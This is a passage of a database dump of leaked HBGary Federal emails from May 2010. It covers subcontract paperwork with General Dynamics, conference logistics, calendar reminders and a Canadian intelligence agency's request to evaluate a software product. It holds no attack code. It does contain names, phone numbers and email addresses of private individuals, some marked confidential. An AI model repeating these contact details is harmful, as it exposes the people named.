Re: HBGary Federal Pricing Template\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nSure how is this.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',8151,'aaron_hbgary_com/8151.html'),(6682,'2010-05-25','\"Hoagland, Kimberly A.\" <Kimberly.Hoagland@gd-ais.com>','/aaron@hbgary.com/new/1297004828.M721136P14101Q1537.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','RE: HBGary Federal Pricing Template','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nPlease revise the KMPL and list your company name.&nbsp; It isn&#8217;t\r\nlisted anywhere.&nbsp; \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nKimberly Hoagland\r\n\r\nSr.\r\nSpecialist-Subcontracts&nbsp;\r\n\r\nGeneral\r\nDynamics Advanced Information Systems, Inc. \r\n\r\n&nbsp;\r\n\r\nMailing\r\nAddress:\r\n\r\n&nbsp;10925\r\nPump House Road\r\n\r\n&nbsp;Annapolis\r\nJunction, MD 20701\r\n\r\nPhysical\r\nAddress:\r\n\r\n&nbsp;2721\r\nTechnology Drive\r\n\r\n&nbsp;Annapolis\r\nJunction, MD&nbsp; 20701\r\n\r\n&nbsp;\r\n\r\n(240)\r\n294-2275 (v)\r\n\r\n(240)\r\n294-2181 (f)\r\n\r\nkimberly.hoagland@gd-ais.com\r\n\r\n&nbsp;\r\n\r\nP please consider the environment before printing this email\r\n\r\nThis e-mail message is for the sole use of the intended recipient\r\nand may contain confidential and privileged information. Any unauthorized\r\nreview, use, disclosure, or distribution is prohibited. If you are not an\r\nintended recipient, please contact the sender by reply e-mail and destroy all\r\ncopies of the original message.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Tuesday, May 25, 2010 12:08 AM\r\nTo: Hoagland, Kimberly A.\r\nCc: Ted Vera\r\nSubject: Re: HBGary Federal Pricing Template\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nKimberly,\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nPlease find all the required documents from HBGary Federal.\r\n&nbsp;I apologize for their delay.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',9161,'aaron_hbgary_com/9161.html'),(6683,'2010-05-25','\"Hoagland, Kimberly A.\" <Kimberly.Hoagland@gd-ais.com>','/aaron@hbgary.com/new/1297004829.M289880P14101Q1539.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','FW: HBGary Federal Pricing Template','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nIf you agree to the statement below, please add to the OCI\r\nstatement you sent.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nKimberly Hoagland\r\n\r\nSr.\r\nSpecialist-Subcontracts&nbsp;\r\n\r\nGeneral\r\nDynamics Advanced Information Systems, Inc. \r\n\r\n&nbsp;\r\n\r\nMailing\r\nAddress:\r\n\r\n&nbsp;10925\r\nPump House Road\r\n\r\n&nbsp;Annapolis\r\nJunction, MD 20701\r\n\r\nPhysical\r\nAddress:\r\n\r\n&nbsp;2721\r\nTechnology Drive\r\n\r\n&nbsp;Annapolis\r\nJunction, MD&nbsp; 20701\r\n\r\n&nbsp;\r\n\r\n(240)\r\n294-2275 (v)\r\n\r\n(240)\r\n294-2181 (f)\r\n\r\nkimberly.hoagland@gd-ais.com\r\n\r\n&nbsp;\r\n\r\nP please consider the environment before printing this email\r\n\r\nThis e-mail message is for the sole use of the intended recipient\r\nand may contain confidential and privileged information. Any unauthorized\r\nreview, use, disclosure, or distribution is prohibited. If you are not an\r\nintended recipient, please contact the sender by reply e-mail and destroy all\r\ncopies of the original message.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Mondloch, Carrie H.\r\n\r\nSent: Tuesday, May 25, 2010 12:47 PM\r\nTo: Hoagland, Kimberly A.; Joseph, Carol M.; Brunelli, Rex; Harlow,\r\nDouglas M.; Petrauskas, Karen J.; Lemke, Michelle R.; Varga, Joan A.\r\nSubject: RE: HBGary Federal Pricing Template\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nKimberly,\r\n\r\nThey should also agree to accept our OCI plan should an OCI be\r\nidentified in the future.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nCarrie Mondloch \r\nSr. Contracts Lead Specialist \r\nGENERAL DYNAMICS \r\nAdvanced Information Systems \r\n(703) 277-1535 - office \r\n(703) 277-1220 - fax \r\n\r\n&nbsp;\r\n\r\nGDAIS PRIVATE INFORMATION\r\n\r\nIf you are not the addressee or authorized by the addressee to\r\nreceive this e-mail, you may not disclose, copy, distribute or use this\r\ne-mail.&nbsp; If you have received this e-mail in error, please notify the\r\nsender immediately by reply e-mail or by telephone at (703) 277-1535 and\r\ndestroy this message and any copies.&nbsp; Thank you\r\n\r\n&nbsp;\r\n\r\nGDAIS PRIVATE: The\r\ninformation attached or contained within includes Personal Information under\r\nGeneral Dynamics policy CP 07-105.&nbsp; This information can be accessed only\r\nby authorized personnel of General Dynamics and its approved service providers\r\nand may be used only as permitted by General Dynamics and its policies.\r\nContractual restrictions apply to third parties. \r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Hoagland, Kimberly\r\nA. \r\nSent: Tuesday, May 25, 2010 12:45 PM\r\nTo: Joseph, Carol M.; Mondloch, Carrie H.; Brunelli, Rex; Harlow,\r\nDouglas M.; Petrauskas, Karen J.; Lemke, Michelle R.; Varga, Joan A.\r\nSubject: FW: HBGary Federal Pricing Template\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nKimberly Hoagland\r\n\r\nSr.\r\nSpecialist-Subcontracts&nbsp;\r\n\r\nGeneral\r\nDynamics Advanced Information Systems, Inc. \r\n\r\n&nbsp;\r\n\r\nMailing\r\nAddress:\r\n\r\n&nbsp;10925\r\nPump House Road\r\n\r\n&nbsp;Annapolis\r\nJunction, MD 20701\r\n\r\nPhysical\r\nAddress:\r\n\r\n&nbsp;2721\r\nTechnology Drive\r\n\r\n&nbsp;Annapolis\r\nJunction, MD&nbsp; 20701\r\n\r\n&nbsp;\r\n\r\n(240)\r\n294-2275 (v)\r\n\r\n(240)\r\n294-2181 (f)\r\n\r\nkimberly.hoagland@gd-ais.com\r\n\r\n&nbsp;\r\n\r\nP please consider the environment before printing this email\r\n\r\nThis e-mail message is for the sole use of the intended recipient and\r\nmay contain confidential and privileged information. Any unauthorized review,\r\nuse, disclosure, or distribution is prohibited. If you are not an intended\r\nrecipient, please contact the sender by reply e-mail and destroy all copies of\r\nthe original message.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Tuesday, May 25, 2010 11:37 AM\r\nTo: Hoagland, Kimberly A.\r\nCc: Ted Vera\r\nSubject: Re: HBGary Federal Pricing Template\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nSure how is this.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',15167,'aaron_hbgary_com/15167.html'),(6684,'2010-05-25','\"Hoagland, Kimberly A.\" <Kimberly.Hoagland@gd-ais.com>','/aaron@hbgary.com/new/1297004829.M517769P14101Q1540.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','RE: HBGary Federal Pricing Template','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nYou are now past the time that this needs to be submitted.&nbsp;\r\nPlease make the necessary change if you accept to advise if you don&#8217;t accept.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nKimberly Hoagland\r\n\r\nSr.\r\nSpecialist-Subcontracts&nbsp;\r\n\r\nGeneral\r\nDynamics Advanced Information Systems, Inc. \r\n\r\n&nbsp;\r\n\r\nMailing\r\nAddress:\r\n\r\n&nbsp;10925\r\nPump House Road\r\n\r\n&nbsp;Annapolis\r\nJunction, MD 20701\r\n\r\nPhysical\r\nAddress:\r\n\r\n&nbsp;2721\r\nTechnology Drive\r\n\r\n&nbsp;Annapolis\r\nJunction, MD&nbsp; 20701\r\n\r\n&nbsp;\r\n\r\n(240)\r\n294-2275 (v)\r\n\r\n(240)\r\n294-2181 (f)\r\n\r\nkimberly.hoagland@gd-ais.com\r\n\r\n&nbsp;\r\n\r\nP please consider the environment before printing this email\r\n\r\nThis e-mail message is for the sole use of the intended recipient\r\nand may contain confidential and privileged information. Any unauthorized\r\nreview, use, disclosure, or distribution is prohibited. If you are not an\r\nintended recipient, please contact the sender by reply e-mail and destroy all\r\ncopies of the original message.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Hoagland, Kimberly\r\nA. \r\nSent: Tuesday, May 25, 2010 11:49 AM\r\nTo: \'Aaron Barr\'\r\nCc: Ted Vera\r\nSubject: RE: HBGary Federal Pricing Template\r\nImportance: High\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nPlease revise the KMPL and list your company name.&nbsp; It\r\nisn&#8217;t listed anywhere.&nbsp; \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nKimberly Hoagland\r\n\r\nSr.\r\nSpecialist-Subcontracts&nbsp;\r\n\r\nGeneral\r\nDynamics Advanced Information Systems, Inc. \r\n\r\n&nbsp;\r\n\r\nMailing\r\nAddress:\r\n\r\n&nbsp;10925\r\nPump House Road\r\n\r\n&nbsp;Annapolis\r\nJunction, MD 20701\r\n\r\nPhysical\r\nAddress:\r\n\r\n&nbsp;2721\r\nTechnology Drive\r\n\r\n&nbsp;Annapolis\r\nJunction, MD&nbsp; 20701\r\n\r\n&nbsp;\r\n\r\n(240)\r\n294-2275 (v)\r\n\r\n(240)\r\n294-2181 (f)\r\n\r\nkimberly.hoagland@gd-ais.com\r\n\r\n&nbsp;\r\n\r\nP please consider the environment before printing this email\r\n\r\nThis e-mail message is for the sole use of the intended recipient\r\nand may contain confidential and privileged information. Any unauthorized\r\nreview, use, disclosure, or distribution is prohibited. If you are not an\r\nintended recipient, please contact the sender by reply e-mail and destroy all\r\ncopies of the original message.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Tuesday, May 25, 2010 12:08 AM\r\nTo: Hoagland, Kimberly A.\r\nCc: Ted Vera\r\nSubject: Re: HBGary Federal Pricing Template\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nKimberly,\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nPlease find all the required documents from HBGary Federal.\r\n&nbsp;I apologize for their delay.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',5369,'aaron_hbgary_com/5369.html'),(6685,'2010-05-25','\"Google Calendar\" <calendar-notification@google.com>','/aaron@hbgary.com/new/1297004829.M63405P14101Q1538.eml','\"Aaron Barr\" <aaron@hbgary.com>','Reminder: SAIC Tech Tuesday @ Tue May 25 12pm - 1pm 	(aaron@hbgary.com)',' more details &raquo;SAIC Tech TuesdayWhenTue May 25 12pm – 1pm Eastern TimeWhere6841 Benjamin Franklin Drive; Columbia; MD 21046 (map)Calendaraaron@hbgary.comWho&#x2022;Aaron Barr - organizerInvitation from Google CalendarYou are receiving this email at the account aaron@hbgary.com because you are subscribed for reminders on calendar aaron@hbgary.com.To stop receiving these notifications, please log in to https://www.google.com/calendar/hosted/hbgary.com/ and change your notification settings for this calendar.',9974,'aaron_hbgary_com/9974.html'),(6686,'2010-05-25','\"Deholo Nali\" <deholo@gmail.com>','/aaron@hbgary.com/new/1297004829.M784955P14101Q1541.eml','aaron@hbgary.com','RECon evaluation','Dear Aaron,My name is Deholo Nali. I&#39;m working for the Communications Security Establishment in Canada (CSEC).My unit would like to evaluate RECon before deciding how many copies we&#39;d buy. Could we make arrangements for this purpose ?\r\nMy number is 613-949-5607.Deholo\r\n',15683,'aaron_hbgary_com/15683.html'),(6687,'2010-05-25','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297004831.M868973P14101Q1542.eml','\"Hoagland, Kimberly A.\" <Kimberly.Hoagland@gd-ais.com>,\"Hoagland, Kimberly A.\" <Kimberly.Hoagland@gd-ais.com>','Re: FW: HBGary Federal Pricing Template','Aaron is sending you the updated KMPL right now.  Attached is the\r\nupdated OCI doc.\r\n\r\nRegards,\r\nTed\r\n\r\n\r\n\r\nOn Tue, May 25, 2010 at 10:47 AM, Hoagland, Kimberly A.\r\n wrote:\r\n> If you agree to the statement below, please add to the OCI statement you\r\n> sent.\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n> Kimberly Hoagland\r\n>\r\n> Sr. Specialist-Subcontracts\r\n>\r\n> General Dynamics Advanced Information Systems, Inc.\r\n>\r\n>\r\n>\r\n> Mailing Address:\r\n>\r\n>  10925 Pump House Road\r\n>\r\n>  Annapolis Junction, MD 20701\r\n>\r\n> Physical Address:\r\n>\r\n>  2721 Technology Drive\r\n>\r\n>  Annapolis Junction, MD  20701\r\n>\r\n>\r\n>\r\n> (240) 294-2275 (v)\r\n>\r\n> (240) 294-2181 (f)\r\n>\r\n> kimberly.hoagland@gd-ais.com\r\n>\r\n>\r\n>\r\n> P please consider the environment before printing this email\r\n>\r\n> This e-mail message is for the sole use of the intended recipient and may\r\n> contain confidential and privileged information. Any unauthorized review,\r\n> use, disclosure, or distribution is prohibited. If you are not an intended\r\n> recipient, please contact the sender by reply e-mail and destroy all copies\r\n> of the original message.\r\n>\r\n>\r\n>\r\n> From: Mondloch, Carrie H.\r\n> Sent: Tuesday, May 25, 2010 12:47 PM\r\n> To: Hoagland, Kimberly A.; Joseph, Carol M.; Brunelli, Rex; Harlow, Douglas\r\n> M.; Petrauskas, Karen J.; Lemke, Michelle R.; Varga, Joan A.\r\n> Subject: RE: HBGary Federal Pricing Template\r\n>\r\n>\r\n>\r\n> Kimberly,\r\n>\r\n> They should also agree to accept our OCI plan should an OCI be identified in\r\n> the future.\r\n>\r\n>\r\n>\r\n> Carrie Mondloch\r\n> Sr. Contracts Lead Specialist\r\n> GENERAL DYNAMICS\r\n> Advanced Information Systems\r\n> (703) 277-1535 - office\r\n> (703) 277-1220 - fax\r\n>\r\n>\r\n>\r\n> GDAIS PRIVATE INFORMATION\r\n>\r\n> If you are not the addressee or authorized by the addressee to receive this\r\n> e-mail, you may not disclose, copy, distribute or use this e-mail.  If you\r\n> have received this e-mail in error, please notify the sender immediately by\r\n> reply e-mail or by telephone at (703) 277-1535 and destroy this message and\r\n> any copies.  Thank you\r\n>\r\n>\r\n>\r\n> GDAIS PRIVATE: The information attached or contained within includes\r\n> Personal Information under General Dynamics policy CP 07-105.  This\r\n> information can be accessed only by authorized personnel of General Dynamics\r\n> and its approved service providers and may be used only as permitted by\r\n> General Dynamics and its policies. Contractual restrictions apply to third\r\n> parties.\r\n>\r\n>\r\n>\r\n> From: Hoagland, Kimberly A.\r\n> Sent: Tuesday, May 25, 2010 12:45 PM\r\n> To: Joseph, Carol M.; Mondloch, Carrie H.; Brunelli, Rex; Harlow, Douglas\r\n> M.; Petrauskas, Karen J.; Lemke, Michelle R.; Varga, Joan A.\r\n> Subject: FW: HBGary Federal Pricing Template\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n> Kimberly Hoagland\r\n>\r\n> Sr. Specialist-Subcontracts\r\n>\r\n> General Dynamics Advanced Information Systems, Inc.\r\n>\r\n>\r\n>\r\n> Mailing Address:\r\n>\r\n>  10925 Pump House Road\r\n>\r\n>  Annapolis Junction, MD 20701\r\n>\r\n> Physical Address:\r\n>\r\n>  2721 Technology Drive\r\n>\r\n>  Annapolis Junction, MD  20701\r\n>\r\n>\r\n>\r\n> (240) 294-2275 (v)\r\n>\r\n> (240) 294-2181 (f)\r\n>\r\n> kimberly.hoagland@gd-ais.com\r\n>\r\n>\r\n>\r\n> P please consider the environment before printing this email\r\n>\r\n> This e-mail message is for the sole use of the intended recipient and may\r\n> contain confidential and privileged information. Any unauthorized review,\r\n> use, disclosure, or distribution is prohibited. If you are not an intended\r\n> recipient, please contact the sender by reply e-mail and destroy all copies\r\n> of the original message.\r\n>\r\n>\r\n>\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Tuesday, May 25, 2010 11:37 AM\r\n>\r\n> To: Hoagland, Kimberly A.\r\n> Cc: Ted Vera\r\n> Subject: Re: HBGary Federal Pricing Template\r\n>\r\n>\r\n>\r\n> Sure how is this.\r\n>\r\n>\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',11349,'aaron_hbgary_com/11349.html'),(6688,'2010-05-25','\"DeeAnn Buonaccorsi\" <deeann@hbgary.com>','/aaron@hbgary.com/new/1297004832.M122256P14101Q1543.eml','\"Penny Leavy\" <Penny@hbgary.com>,\"Martin Pillion\" <martin@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','First conference','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nWe are able to participate at all the functions at the First\r\nConference.&nbsp; Please review list &nbsp;http://conference.first.org.&nbsp;\r\nand tell me what you would like to attend so that I may register you As soon as\r\npossible.\r\n\r\n&nbsp;\r\n\r\nThanks\r\n\r\n&nbsp;\r\n\r\nDeeAnn Buonaccorsi\r\n\r\nOffice\r\nManager\r\n\r\nHBGary,\r\nInc.\r\n\r\n3604\r\nFair Oaks Blvd.&nbsp; Suite 250\r\n\r\nSacramento,\r\nCA&nbsp; 95864\r\n\r\nTel:&nbsp;\r\n916-459-4727 ext. 101\r\n\r\nFax:\r\n916-481-1460\r\n\r\nEmail&nbsp;\r\ndeeann@hbgary.com\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',6451,'aaron_hbgary_com/6451.html'),(6689,'2010-05-25','\"DeeAnn Buonaccorsi\" <deeann@hbgary.com>','/aaron@hbgary.com/new/1297004832.M363342P14101Q1544.eml','\"Penny Leavy\" <Penny@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>,\"Martin Pillion\" <martin@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','First Conference Information','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nHi\r\nGuys,\r\n\r\n&nbsp;\r\n\r\nI\r\nhave sent you all the hotel confirmations if you need flight help please\r\ncontact me.   Please review hotel info and tell if you will be staying the\r\nwhole conference if not I can change hotel reservations.  I also sent you the\r\nprogram please review and get back to as soon as possible.  Here is the\r\nconference info..  Please contact me if you have any questions or concerns. \r\n\r\n \r\n\r\nExhibitor\r\nDates, Times &amp; Location\r\n\r\nIf\r\nyou require assistance upon arriving Tuesday, please locate either Traci Wei or\r\nKristen Jacobucci at the Registration Desk.&nbsp; Your booth spaces will be\r\nlabeled and your shipments will be placed behind your table by hotel staff.\r\n\r\n&nbsp;\r\n\r\n§&nbsp; Booth #:&nbsp; 8\r\n\r\n§&nbsp; Location: 2ND Level\r\nat the InterContinental Hotel Miami\r\n\r\n§&nbsp; Setup: Tuesday, June 15th\r\nfrom 2:00PM-4:00PM\r\n\r\n§&nbsp; Teardown: Friday, June 18th\r\nfrom 1:30PM-3:00PM\r\n\r\n&nbsp;\r\n\r\n§&nbsp; Exhibit Hours:\r\n\r\no&nbsp;&nbsp;&nbsp; Tuesday, June 15th\r\nfrom 4:00PM-8:00PM \r\n\r\no&nbsp;&nbsp;&nbsp; Wednesday, June 16th\r\nfrom 8:00AM-8:45AM; 10:50AM-11:10AM; 12:00PM-1:30PM; 3:30PM-4:00PM;\r\n5:00PM-6:00PM\r\n\r\no&nbsp;&nbsp;&nbsp; Thursday, June 17th\r\nfrom 8:00AM-8:45AM; 10:30AM-11:00AM; 12:00PM-1:00PM\r\n\r\no&nbsp;&nbsp;&nbsp; Friday, June 18th\r\nfrom 8:00AM-8:45AM; 12:00PM-1:30PM \r\n\r\n&nbsp;\r\n\r\nPlease\r\nreview the conference program at http://conference.first.org\r\nfor any changes to the break and lunch schedules.\r\n\r\n&nbsp;\r\n\r\nPlease\r\nensure you bring the appropriate shipping labels, forms and packaging materials\r\n(boxes, tape) in order to ship your items at the conclusion of the conference.&nbsp; When completed,\r\nhotel staff will take your shipments to the loading dock.\r\n\r\n&nbsp;\r\n\r\nWhat\r\nwill be provided?\r\n\r\nIt\r\nis the exhibitor&#8217;s responsibility to rent/provide any additional support\r\nitems that are not listed below (see &#8220;Forms Attached in the ZIP Pack\r\nsection&#8221;). \r\n\r\n&nbsp;\r\n\r\n§&nbsp; 10&#8217; x 10&#8217;\r\nspace \r\n\r\n§&nbsp; 1x 6&#8217;ft\r\nstandard table with tablecloth\r\n\r\n§&nbsp; 2x chairs\r\n\r\n§&nbsp; 1x power strip\r\n\r\n§&nbsp; Wireless internet\r\nconnection provided by our sponsors Cisco &amp; Telefonica\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nDeeAnn Buonaccorsi\r\n\r\nOffice\r\nManager\r\n\r\nHBGary,\r\nInc.\r\n\r\n3604\r\nFair Oaks Blvd.  Suite 250\r\n\r\nSacramento,\r\nCA  95864\r\n\r\nTel: \r\n916-459-4727 ext. 101\r\n\r\nFax:\r\n916-481-1460\r\n\r\nEmail \r\ndeeann@hbgary.com\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',3646,'aaron_hbgary_com/3646.html'),(6690,'2010-05-25','\"Google Calendar\" <calendar-notification@google.com>','/aaron@hbgary.com/new/1297004832.M901165P14101Q1545.eml','\"Aaron Barr\" <aaron@hbgary.com>','Reminder: USSTRATCOM Cyberspace Symposium @ Wed May 26 - Thu May 27, 	2010 (aaron@hbgary.com)',' more details &raquo;USSTRATCOM Cyberspace SymposiumWhenWed May 26 – Thu May 27, 2010WhereQwest Center Omaha, NB (map)Calendaraaron@hbgary.comWho&#x2022;Aaron Barr - organizerInvitation from Google CalendarYou are receiving this email at the account aaron@hbgary.com because you are subscribed for reminders on calendar aaron@hbgary.com.To stop receiving these notifications, please log in to https://www.google.com/calendar/hosted/hbgary.com/ and change your notification settings for this calendar.',16339,'aaron_hbgary_com/16339.html'),(6691,'2010-05-25','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004833.M125001P14101Q1546.eml','\"Deholo Nali\" <deholo@gmail.com>,\"Deholo Nali\" <deholo@gmail.com>','Re: RECon evaluation','Hi Deholo,\r\n\r\nI am happy to help and would like to get your feedback.  I will give\r\nyou a call tomorrow.  In the meantime you can download from HBGary.com\r\nand install Responder Pro which comes with RECon and DDNA.  Once\r\ninstalled please email me the machine Id your given.\r\n\r\nAaron\r\nSent from my iPad\r\n\r\nOn May 25, 2010, at 1:39 PM, Deholo Nali  wrote:\r\n\r\n> Dear Aaron,\r\n> My name is Deholo Nali. I\'m working for the Communications Security Establishment in Canada (CSEC).\r\n> My unit would like to evaluate RECon before deciding how many copies we\'d buy. Could we make arrangements for this purpose ?\r\n> My number is 613-949-5607.\r\n> Deholo\r\n',8871,'aaron_hbgary_com/8871.html'),(6692,'2010-05-25','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004833.M348809P14101Q1547.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: First Conference Information','Sent from my iPadBegin forwarded message:From: &quot;DeeAnn Buonaccorsi&quot; &lt;deeann@hbgary.com&gt;\r\nDate: May 25, 2010 3:13:38 PM EDTTo: &quot;Penny Leavy&quot; &lt;Penny@hbgary.com&gt;, &quot;&#39;Bob Slapnik&#39;&quot; &lt;bob@hbgary.com&gt;, &quot;&#39;Martin Pillion&#39;&quot; &lt;martin@hbgary.com&gt;, &quot;&#39;Aaron Barr&#39;&quot; &lt;aaron@hbgary.com&gt;\r\nSubject: First Conference Information\r\n\r\n\r\n\r\nHi\r\nGuys,\r\n\r\n \r\n\r\nI\r\nhave sent you all the hotel confirmations if you need flight help please\r\ncontact me.   Please review hotel info and tell if you will be staying the\r\nwhole conference if not I can change hotel reservations.  I also sent you the\r\nprogram please review and get back to as soon as possible.  Here is the\r\nconference info..  Please contact me if you have any questions or concerns. \r\n\r\n \r\n\r\nExhibitor\r\nDates, Times &amp; Location\r\n\r\nIf\r\nyou require assistance upon arriving Tuesday, please locate either Traci Wei or\r\nKristen Jacobucci at the Registration Desk.  Your booth spaces will be\r\nlabeled and your shipments will be placed behind your table by hotel staff.\r\n\r\n \r\n\r\n§  Booth #:  8\r\n\r\n\r\n§  Location: 2ND Level\r\nat the InterContinental Hotel Miami\r\n\r\n§  Setup: Tuesday, June 15th\r\nfrom 2:00PM-4:00PM\r\n\r\n§  Teardown: Friday, June 18th\r\nfrom 1:30PM-3:00PM\r\n\r\n \r\n\r\n§  Exhibit Hours:\r\n\r\n\r\no    Tuesday, June 15th\r\nfrom 4:00PM-8:00PM \r\n\r\no    Wednesday, June 16th\r\nfrom 8:00AM-8:45AM; 10:50AM-11:10AM; 12:00PM-1:30PM; 3:30PM-4:00PM;\r\n5:00PM-6:00PM\r\n\r\no    Thursday, June 17th\r\nfrom 8:00AM-8:45AM; 10:30AM-11:00AM; 12:00PM-1:00PM\r\n\r\no    Friday, June 18th\r\nfrom 8:00AM-8:45AM; 12:00PM-1:30PM \r\n\r\n \r\n\r\nPlease\r\nreview the conference program at http://conference.first.org\r\nfor any changes to the break and lunch schedules.\r\n\r\n \r\n\r\nPlease\r\nensure you bring the appropriate shipping labels, forms and packaging materials\r\n(boxes, tape) in order to ship your items at the conclusion of the conference.  When completed,\r\nhotel staff will take your shipments to the loading dock.\r\n\r\n \r\n\r\nWhat\r\nwill be provided?\r\n\r\nIt\r\nis the exhibitor’s responsibility to rent/provide any additional support\r\nitems that are not listed below (see “Forms Attached in the ZIP Pack\r\nsection”). \r\n\r\n \r\n\r\n§  10’ x 10’\r\nspace \r\n\r\n§  1x 6’ft\r\nstandard table with tablecloth\r\n\r\n§  2x chairs\r\n\r\n\r\n§  1x power strip\r\n\r\n\r\n§  Wireless internet\r\nconnection provided by our sponsors Cisco &amp; Telefonica\r\n\r\n \r\n\r\n \r\n\r\nDeeAnn Buonaccorsi\r\n\r\nOffice\r\nManager\r\n\r\nHBGary,\r\nInc.\r\n\r\n3604\r\nFair Oaks Blvd.  Suite 250\r\n\r\nSacramento,\r\nCA  95864\r\n\r\nTel: \r\n916-459-4727 ext. 101\r\n\r\nFax:\r\n916-481-1460\r\n\r\nEmail \r\ndeeann@hbgary.com\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',4285,'aaron_hbgary_com/4285.html'),(6693,'2010-05-25','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004833.M581799P14101Q1548.eml','\"Ray Owen\" <ray.owen@farallon-research.com>,nathan.atherley@farallon-research.com,\"Ray Owen\" <ray.owen@farallon-research.com>','Next Steps','Ray/Nate,\r\n\r\nMaybe having some time to think about what we discussed i am curious\r\nas to your thoughts and possible next steps?  I have many more ideas\r\nabout specific application of capabilities as well as different\r\napproaches to starting.\r\n\r\nAaron\r\n\r\nSent from my iPad\r\n',10337,'aaron_hbgary_com/10337.html'),(6694,'2010-05-25','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004833.M831263P14101Q1549.eml','\"Ted Vera\" <ted@hbgary.com>','Media contract','http://www.smdc.army.mil/2008/SmallBiz/AcqForecast/Graphics.pdf\r\n\r\nSent from my iPad\r\n',224,'aaron_hbgary_com/224.html'),(6695,'2010-05-25','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297004834.M29063P14101Q1550.eml','\"Barr Aaron\" <aaron@hbgary.com>,mark@hbgary.com','George','Just heard that George Schmick moved to DC last week -- to be embedded\r\nwith the subcontractor.  Dan will sit in Lorton in Dale\'s facility.\r\n\r\nTed\r\n',5528,'aaron_hbgary_com/5528.html'),(6696,'2010-05-26','\"Etue, David\" 